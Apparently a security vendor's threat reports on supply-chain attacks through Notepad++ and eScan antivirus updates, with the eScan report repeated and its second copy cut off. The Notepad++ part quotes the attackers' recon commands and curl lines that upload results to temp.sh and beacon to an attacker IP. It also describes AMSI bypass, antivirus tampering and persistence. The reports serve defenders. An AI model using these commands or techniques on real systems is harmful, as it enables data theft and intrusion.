2. It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
3. Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
4. Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.

Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.

After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:

• Drops the following files to the %appdata%\ProShow directory:
  • ProShow.exe (SHA1: defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
  • defscr (SHA1: 259cd3542dea998c57f67ffdd4543ab836e3d2a3)
  • if.dnt (SHA1: 46654a7ad6bc809b623c51938954de48e27a5618)
  • proshow.crs
  • proshow.phd
  • proshow_e.bmp (SHA1: 9df6ecc47b192260826c247bf8d40384aa6e6fd6)
  • load (SHA1: 06a6a5a39193075734a32e0235bde0e979c27228)
• Executes the dropped ProShow.exe file.

The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.

Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.

The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.

The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.

Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:

• In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
• The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.

We have not further seen any infections leveraging chain #1 since early August 2025.

Chain #2: mid- and late September 2025

A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:

• Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
• Dropped a next-stage payload on disk and launched it.

Regarding system information, attackers made the following changes to how it was collected:

• They changed the working directory to %APPDATA%\Adobe\Scripts;
• They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.

The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.

As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:

• alien.dll (SHA1: 6444dab57d93ce987c22da66b3706d5d7fc226da);
• lua5.1.dll (SHA1: 2ab0758dda4e71aee6f4c8e4c0265a796518f07d);
• script.exe (SHA1: bf996a709835c0c16cce1015e6d44fc95e08a38a);
• alien.ini (SHA1: ca4b6fe0c69472cd3d63b212eb805b7f65710d33).

Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.

All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:

As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.

The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.

The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.

Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:

• cmd /c whoami >> a.txt
• cmd /c tasklist >> a.txt
• cmd /c systeminfo >> a.txt
• cmd /c netstat -ano >> a.txt

Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.

The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:

• Changed the system information upload URL to https://self-dns.it[.]com/list;
• Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
• Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
• Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.

Chain #3: October 2025

In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:

• BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
• log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
• BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).

This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.

Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:

1. In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
2. The Beacon configurations are encrypted with the XOR key CRAZY;
3. Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).

Return of chain #2 and changes in URLs: October 2025

In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.

Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:

• http://95.179.213[.]0/update/install.exe;
• http://95.179.213[.]0/update/update.exe;
• http://95.179.213[.]0/update/AutoUpdater.exe.

We didn’t observe any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.

Conclusion

Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:

The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:

• Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
• Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
• Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
• Use the specific IoCs listed below to identify known malicious domains and files.

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Next Endpoint Detection and Response Expert, successfully detect malicious activity in the attacks described above.

Let’s take a closer look at Kaspersky Next EDR Expert.

One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.

In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.

In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.

To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.

The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:

1. Indicators of compromise:
   1. malicious URLs used to extract information from the targeted infrastructure;
   2. malicious file names and hashes that were detected in this campaign.
2. Suspicious activity on the host:
   1. unusual command lines specific to these attacks;
   2. suspicious network activity from Notepad++ processes and an abnormal process tree;
   3. traces of data collection, e.g. single-character file names.

Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.

We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.

For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.

Indicators of compromise

URLs used for malicious Notepad++ update deployments
http://45.76.155[.]202/update/update.exe
http://45.32.144[.]255/update/update.exe
http://95.179.213[.]0/update/update.exe
http://95.179.213[.]0/update/install.exe
http://95.179.213[.]0/update/AutoUpdater.exe

System information upload URLs
http://45.76.155[.]202/list
https://self-dns.it[.]com/list

URLs used by Metasploit downloaders to deploy Cobalt Strike beacons
https://45.77.31[.]210/users/admin
https://cdncheck.it[.]com/users/admin
https://safe-dns.it[.]com/help/Get-Start

URLs used by Cobalt Strike Beacons delivered by malicious Notepad++ updaters
https://45.77.31[.]210/api/update/v1
https://45.77.31[.]210/api/FileUpload/submit
https://cdncheck.it[.]com/api/update/v1
https://cdncheck.it[.]com/api/Metadata/submit
https://cdncheck.it[.]com/api/getInfo/v1
https://cdncheck.it[.]com/api/FileUpload/submit
https://safe-dns.it[.]com/resolve
https://safe-dns.it[.]com/dns-query

URLs used by the Chrysalis backdoor and the Cobalt Strike Beacon payloads associated with it, as previously identified by Rapid7
https://api.skycloudcenter[.]com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
https://api.wiresguard[.]com/update/v1
https://api.wiresguard[.]com/api/FileUpload/submit

URLs related to Cobalt Strike Beacons uploaded to multiscanners, as previously identified by Rapid7
http://59.110.7[.]32:8880/uffhxpSy
http://59.110.7[.]32:8880/api/getBasicInfo/v1
http://59.110.7[.]32:8880/api/Metadata/submit
http://124.222.137[.]114:9999/3yZR31VK
http://124.222.137[.]114:9999/api/updateStatus/v1
http://124.222.137[.]114:9999/api/Info/submit
https://api.wiresguard[.]com/users/system
https://api.wiresguard[.]com/api/getInfo/v1

Malicious updater.exe hashes
8e6e505438c21f3d281e1cc257abdbf7223b7f5a
90e677d7ff5844407b9c073e3b7e896e078e11cd
573549869e84544e3ef253bdba79851dcde4963a
13179c8f19fbf3d8473c49983a199e6cb4f318f0
4c9aac447bf732acc97992290aa7a187b967ee2c
821c0cafb2aab0f063ef7e313f64313fc81d46cd

Hashes of malicious auxiliary files
06a6a5a39193075734a32e0235bde0e979c27228 — load
9c3ba38890ed984a25abb6a094b5dbf052f22fa7 — load
ca4b6fe0c69472cd3d63b212eb805b7f65710d33 — alien.ini
0d0f315fd8cf408a483f8e2dd1e69422629ed9fd — alien.ini
2a476cfb85fbf012fdbe63a37642c11afa5cf020 — alien.ini

Malicious file hashes, as previously identified by Rapid7
d7ffd7b588880cf61b603346a3557e7cce648c93
94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
7e0790226ea461bcc9ecd4be3c315ace41e1c122
f7910d943a013eede24ac89d6388c1b98f8b3717
73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf
bd4915b3597942d88f319740a9b803cc51585c4a
c68d09dd50e357fd3de17a70b7724f8949441d77
813ace987a61af909c053607635489ee984534f4
9fbf2195dee991b1e5a727fd51391dcc2d7a4b16
07d2a01e1dc94d59d5ca3bdf0c7848553ae91a51
3090ecf034337857f786084fb14e63354e271c5d
d0662eadbe5ba92acbd3485d8187112543bcfbf5
9c0eff4deeb626730ad6a05c85eb138df48372ce

Malicious file paths
%appdata%\ProShow\load
%appdata%\Adobe\Scripts\alien.ini
%appdata%\Bluetooth\BluetoothService

UPD 30.01.2026: Added technical details about the attack chain and more IoCs.

On January 20, a supply chain attack has occurred, with the infected software being the eScan antivirus developed by the Indian company MicroWorld Technologies. The previously unknown malware was distributed through the eScan update server. The same day, our security solutions detected and prevented cyberattacks involving this malware. On January 21, having been informed by Morphisec, the developers of eScan contained the security incident related to the attack.

Malicious software used in the attack

Users of the eScan security product received a malicious Reload.exe file, which initiated a multi-stage infection chain. According to colleagues at Morphisec who were the first to investigate the attack, Reload.exe prevented further antivirus product updates by modifying the HOSTS file, thereby blocking the ability of security solution developers to automatically fix the problem, which, among other things, led to the update service error.

The malware also ensured its persistence in the system, communicated with command-and-control servers, and downloaded additional malicious payloads. Persistence was achieved by creating scheduled tasks; one example of such a malicious task is named “CorelDefrag”. Additionally, the consctlx.exe malicious file was written to the disk during the infection.

How the attackers managed to pull off this attack

At the request of the BleepingComputer information portal, eScan developers explained that the attackers managed to gain access to one of the regional update servers and deploy a malicious file, which was automatically delivered to customers. They emphasize that this is not a vulnerability — the incident is classified as unauthorized access to infrastructure. The malicious file was distributed with a fake, invalid digital signature.

According to the developers, the infrastructure affected by the incident was quickly isolated, and all access credentials were reset.

Having checked our telemetry, we identified hundreds of machines belonging to both individuals and organizations, which encountered infection attempts with payloads related to the eScan supply chain attack. These machines were mostly located in South Asia, primarily in India, Bangladesh, Sri Lanka, and the Philippines. Having examined them, we identified that to orchestrate the infection, attackers were able to replace a legitimate component of the eScan antivirus, located under the path C:\Program Files (x86)\escan\reload.exe, with a malicious executable. This reload.exe file is launched at runtime by components of the eScan antivirus. It has a fake, invalid digital signature (certificate serial number: 68525dadf70c773d41609ff7ca499fb5). We found this implant to be heavily obfuscated with constant unfolding and indirect branching, which made its analysis quite tedious.

When started, this reload.exe file checks whether it is launched from the Program Files folder, and exits if not. It further initializes the CLR (Common Language Runtime) environment inside its process, which it uses to load a small .NET executable into memory (SHA1: eec1a5e3bb415d12302e087a24c3f4051fca040e). This executable is based on the UnmanagedPowerShell tool, which allows executing PowerShell code in any process. Attackers modified the source code of this project by adding an AMSI bypass capability to it, and used it to execute a malicious PowerShell script inside the reload.exe process. This script has three lines, and looks as follows:

Each of these lines is responsible for decoding and launching a Base64-encoded PowerShell payload. These three payloads, which we will further analyze, are used for the infection on the target machine.

eScan antivirus tampering payload

The first executed payload is deployed to tamper with the installed eScan solution, in an attempt to prevent it from receiving updates and detecting the installed malicious components. To do that, it performs several actions, including the following ones:

• Deletes multiple files of the eScan antivirus, including the Remote Support Utility located at C:\Program Files (x86)\Common Files\MicroWorld\WGWIN\tvqsapp.exe. Notably, before deletion, the payload creates ZIP-archived backups of removed files inside the C:\ProgramData\esfsbk directory.
• Modifies the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\MwMonitor registry key to add the C:\Windows, C:\Program Files and C:\Program Files (x86) folders to antivirus exceptions.
• Adds update servers of the eScan antivirus (such as update1.mwti.net) to the hosts file, associating them with the IP address 2.3.4.0.
• Modifies registry keys related to antivirus databases, for example by assigning 999 to the WTBases_new value of the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS registry key.

While tampering with eScan, this payload writes a debug log to the C:\ProgramData\euapp.log file, which can be used as an indicator of compromise.

It is worth noting that while running this payload, we did not observe all these actions to succeed on our test machine with eScan installed. For example, the self-defense component of eScan was able to prevent malicious entries from being written into the hosts file. Nevertheless, after the payload had finished execution, we were unable to further update eScan, as we were getting this error message:

Finally, the first payload replaces the C:\Program Files (x86)\eScan\CONSCTLX.exe component of eScan with a next-stage persistent payload, which we will describe in further sections of this article.

AMSI bypass payload

The second payload launched is designed to bypass AMSI. The payload implements typical code for doing that – it determines the address of the AmsiScanBuffer function and then patches it to always return an error.

Victim validation payload

The goal of the third payload, which is the last to be executed, is to validate whether the victim machine should be further infected, and if yes, to deliver a further payload to it. When started, it examines the list of installed software, running processes and services against a blocklist. Entries in this blocklist are related to analysis tools and security solutions. Notably, Kaspersky security solutions are included into this blocklist. This means that this stage will refuse to deliver the embedded payload if Kaspersky products are installed on the victim machine.

If validation is successful, the payload proceeds with deploying a PowerShell-based persistent payload on the infected machine. To do that, it:

• Writes the persistent payload to the Corel value of the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key.
• Creates a scheduled task named Microsoft\Windows\Defrag\CorelDefrag, designed to execute the following PowerShell script every day at a random time:
  
  

  PowerShell script executed by the CorelDefrag scheduled task (beautified version)

  This script retrieves the persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, Base64-decodes and then executes it.

When the payload execution finishes, either because validation failed or the persistent component was deployed successfully, it sends a heartbeat to the C2 infrastructure. This is done by sending a GET request, which contains a status code and optionally an error message, to the following URLs:

• https://vhs.delrosal[.]net/i
• https://tumama.hns[.]to
• https://blackice.sol-domain[.]org
• https://codegiant.io/dd/dd/dd.git/download/main/middleware[.]ts

The response to the GET request is not processed.

As such, during installation, the infected machine receives two persistent payloads:

• The CONSCTLX.exe payload, designed to be launched by the eScan antivirus
• The PowerShell-based payload, designed to be launched via a scheduled task

The CONSCTLX.exe persistent payload

This payload is obfuscated in the same way as the Reload.exe malicious executable. In the same way as this executable, CONSCTLX.exe initializes the CLR environment to execute a PowerShell script inside its own process. The goal of this script is to retrieve the other (PowerShell-based) persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, and execute it. However, this script contains another interesting feature: it changes the last update time of the eScan product to the current time, by writing the current date to the C:\Program Files (x86)\eScan\Eupdate.ini file. This is needed to make the eScan solution GUI display a recent update date, so that the user does not notice that antivirus updates are actually blocked.

Apart from launching the PowerShell script, the payload also attempts to retrieve a fallback payload from the C2 infrastructure, by sending GET requests to the following URLs:

• https://csc.biologii[.]net/sooc
• https://airanks.hns[.]to

If there is a need to deliver this payload, the server responds with an RC4-encrypted blob, which is decrypted by the component and launched as shellcode.

The PowerShell-based persistent payload

The second deployed payload is entirely PowerShell-based. When started, it performs an AMSI bypass and conducts the same validation procedures as the victim validation payload. It further sends a GET request to the C2 infrastructure, using the same URLs as the validation payload. In this request, the cookie value named “s” contains RC4-encrypted and Base64-encoded system information, such as the victim ID, user name and current process name. In response to this request, the C2 server may optionally send the victim a PowerShell script, to be launched by the victim machine.

A rarely observed attack vector

Notably, it is quite unique to see malware being deployed through a security solution update. Supply chain attacks are a rare occurrence in general, let alone ones orchestrated through antivirus products. Based on the analysis of the identified implants, we can conclude that this attack was prepared thoroughly, as to orchestrate it, attackers had to:

• Get access to the security solution update server.
• Study the internals of the eScan product to learn how its update mechanism works, as well as how to potentially tamper with this product.
• Develop unique implants, tailored to the supply chain attack.

An interesting fact about the implants deployed is that they implement fallback methods of performing malicious operations. For example, if the scheduled task that launches the PowerShell payload is deleted, it will still be launched by the CONSCTLX.exe file. In addition, if the C2 servers used by the PowerShell payload are identified and blocked, attackers will be still able to deploy shellcodes to the infected machine through CONSCTLX.exe.

One lucky thing about this attack is that it was contained in a quite a short period of time. As security solutions have a high level of trust within the operating system, attackers can use a variety of creative ways to orchestrate the infection, for example by using kernel-mode implants. However, in the attack we saw, they relied on user-mode components and commonly observed infection techniques, such as using scheduled tasks for persistence. This factor, in our opinion, made this supply chain attack easy to detect.

How to stay safe?

To detect infection, it is recommended to review scheduled tasks for traces of malware, check the %WinDir%\System32\drivers\etc\hosts file for blocked eScan domains, and review the eScan update logs for January 20.

The developers of eScan have created a utility for their users that removes the malware, rolls back the modifications it has made, and restores the normal functionality of the antivirus. The utility is sent to customers upon request to technical support.

Users of the solution are also advised to block known malware command-and-control server addresses.

Kaspersky’s security solutions, such as Kaspersky Next, successfully detect all malware used by the attackers with its Behavior Detection component.

Indicators of compromise

Network indicators
https://vhs.delrosal[.]net/i
https://tumama.hns[.]to
https://blackice.sol-domain[.]org
https://codegiant.io/dd/dd/dd.git/download/main/middleware[.]ts
https://csc.biologii[.]net/sooc
https://airanks.hns[.]to

Malicious Reload.exe component hashes
1617949c0c9daa2d2a5a80f1028aeb95ce1c0dee
a928bddfaa536c11c28c8d2c5d16e27cbeaf6357
ebaf9715d7f34a77a6e1fd455fe0702274958e20
96cdd8476faa7c6a7d2ad285658d3559855b168d

Malicious CONSCTLX.exe component hash
2d2d58700a40642e189f3f1ccea41337486947f5

Files and folders
C:\ProgramData\esfsbk
C:\ProgramData\euapp.log

Scheduled task name
Microsoft\Windows\Defrag\CorelDefrag

Registry keys
HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E
HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS – value WTBases_new set to 999

UPD 30.01.2026: Added technical details about the attack chain and more IoCs.

On January 20, a supply chain attack has occurred, with the infected software being the eScan antivirus developed by the Indian company MicroWorld Technologies. The previously unknown malware was distributed through the eScan update server. The same day, our security solutions detected and prevented cyberattacks involving this malware. On January 21, having been informed by Morphisec, the developers of eScan contained the security incident related to the attack.

Malicious software used in the attack

Users of the eScan security product received a malicious Reload.exe file, which initiated a multi-stage infection chain. According to colleagues at Morphisec who were the first to investigate the attack, Reload.exe prevented further antivirus product updates by modifying the HOSTS file, thereby blocking the ability of security solution developers to automatically fix the problem, which, among other things, led to the update service error.

The malware also ensured its persistence in the system, communicated with command-and-control servers, and downloaded additional malicious payloads. Persistence was achieved by creating scheduled tasks; one example of such a malicious task is named “CorelDefrag”. Additionally, the consctlx.exe malicious file was written to the disk during the infection.

How the attackers managed to pull off this attack

At the request of the BleepingComputer information portal, eScan developers explained that the attackers managed to gain access to one of the regional update servers and deploy a malicious file, which was automatically delivered to customers. They emphasize that this is not a vulnerability — the incident is classified as unauthorized access to infrastructure. The malicious file was distributed with a fake, invalid digital signature.

According to the developers, the infrastructure affected by the incident was quickly isolated, and all access credentials were reset.

Having checked our telemetry, we identified hundreds of machines belonging to both individuals and organizations, which encountered infection attempts with payloads related to the eScan supply chain attack. These machines were mostly located in South Asia, primarily in India, Bangladesh, Sri Lanka, and the Philippines. Having examined them, we identified that to orchestrate the infection, attackers were able to replace a legitimate component of the eScan antivirus, located under the path C:\Program Files (x86)\escan\reload.exe, with a malicious executable. This reload.exe file is launched at runtime by components of the eScan antivirus. It has a fake, invalid digital signature (certificate serial number: 68525dadf70c773d41609ff7ca499fb5). We found this implant to be heavily obfuscated with constant unfolding and indirect branching, which made its analysis quite tedious.

When started, this reload.exe file checks whether it is launched from the Program Files folder, and exits if not. It further initializes the CLR (Common Language Runtime) environment inside its process, which it uses to load a small .NET executable into memory (SHA1: eec1a5e3bb415d12302e087a24c3f4051fca040e). This executable is based on the UnmanagedPowerShell tool, which allows executing PowerShell code in any process. Attackers modified the source code of this project by adding an AMSI bypass capability to it, and used it to execute a malicious PowerShell script inside the reload.exe process. This script has three lines, and looks as follows:

Each of these lines is responsible for decoding and launching a Base64-encoded PowerShell payload. These three payloads, which we will further analyze, are used for the infection on the target machine.

eScan antivirus tampering payload

The first executed payload is deployed to tamper with the installed eScan solution, in an attempt to prevent it from receiving updates and detecting the installed malicious components. To do that, it performs several actions, including the following ones:

• Deletes multiple files of the eScan antivirus, including the Remote Support Utility located at C:\Program Files (x86)\Common Files\MicroWorld\WGWIN\tvqsapp.exe. Notably, before deletion, the payload creates ZIP-archived backups of removed files inside the C:\ProgramData\esfsbk directory.
• Modifies the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\MwMonitor registry key to add the C:\Windows, C:\Program Files and C:\Program Files (x86) folders to antivirus exceptions.
• Adds update servers of the eScan antivirus (such as update1.mwti.net) to the hosts file, associating them with the IP address 2.3.4.0.
• Modifies registry keys related to antivirus databases, for example by assigning 999 to the WTBases_new value of the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS registry key.

While tampering with eScan, this payload writes a debug log to the C:\ProgramData\euapp.log file, which can be used as an indicator of compromise.

It is worth noting that while running this payload, we did not observe all these actions to succeed on our test machine with eScan installed. For example, the self-defense component of eScan was able to prevent malicious entries from being written into the hosts file. Nevertheless, after the payload had finished execution, we were unable to further update eScan, as we were getting this error message:

Finally, the first payload replaces the C:\Program Files (x86)\eScan\CONSCTLX.exe component of eScan with a next-stage persistent payload, which we will describe in further sections of this article.

AMSI bypass payload

The second payload launched is designed to bypass AMSI. The payload implements typical code for doing that – it determines the address of the AmsiScanBuffer function and then patches it to always return an error.

Victim validation payload

The goal of the third payload, which is the last to be executed, is to validate whether the victim machine should be further infected, and if yes, to deliver a further payload to it. When started, it examines the list of installed software, running processes and services against a blocklist. Entries in this blocklist are related to analysis tools and security solutions. Notably, Kaspersky security solutions are included into this blocklist. This means that this stage will refuse to deliver the embedded payload if Kaspersky products are installed on the victim machine.

If validation is successful, the payload proceeds with deploying a PowerShell-based persistent payload on the infected machine. To do that, it:

• Writes the persistent payload to the Corel value of the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key.
• Creates a scheduled task named Microsoft\Windows\Defrag\CorelDefrag, designed to execute the following PowerShell script every day at a random time:
  
  

  PowerShell script executed by the CorelDefrag scheduled task (beautified version)

  This script retrieves the persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, Base64-decodes and then executes it.

When the payload execution finishes, either because validation failed or the persistent component was deployed successfully, it sends a heartbeat to the C2 infrastructure. This is done by sending a GET request, which contains a status code and optionally an error message, to the following URLs:

• https://vhs.delrosal[.]net/i
• https://tumama.hns[.]to
• https://blackice.sol-domain[.]org
• https://codegiant.io/dd/dd/dd.git/download/main/middleware[.]ts

The response to the GET request is not processed.

As such, during installation, the infected machine receives two persistent payloads:

• The CONSCTLX.exe payload, designed to be launched by the eScan antivirus
• The PowerShell-based payload, designed to be launched via a scheduled task

The CONSCTLX.exe persistent payload

This payload is obfuscated in the same way as the Reload.exe malicious executable. In the same way as this executable, CONSCTLX.exe initializes the CLR environment to execute a PowerShell script inside its own process. The goal of this script is to retrieve the other (PowerShell-based) persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, and execute it. However, this script contains another interesting feature: it changes the last update time of the eScan product to the current time, by writing the current date to the C:\Program Files (x86)\eScan\Eupdate.ini file. This is needed to make the eScan solution GUI display a recent update date, so that the user does not notice that antivirus updates are actually blocked.

Apart from launching the PowerShell script, the payload also attempts to retrieve a fallback payload from the C2 infrastructure, by sending GET requests to the following URLs:

• https://csc.biologii[.]net/sooc
• https://airanks.hns[.]to

If there is a need to deliver this payload, the server responds with an RC4-encrypted blob, which is decrypted by the component and launched as shellcode.

The PowerShell-based persistent payload

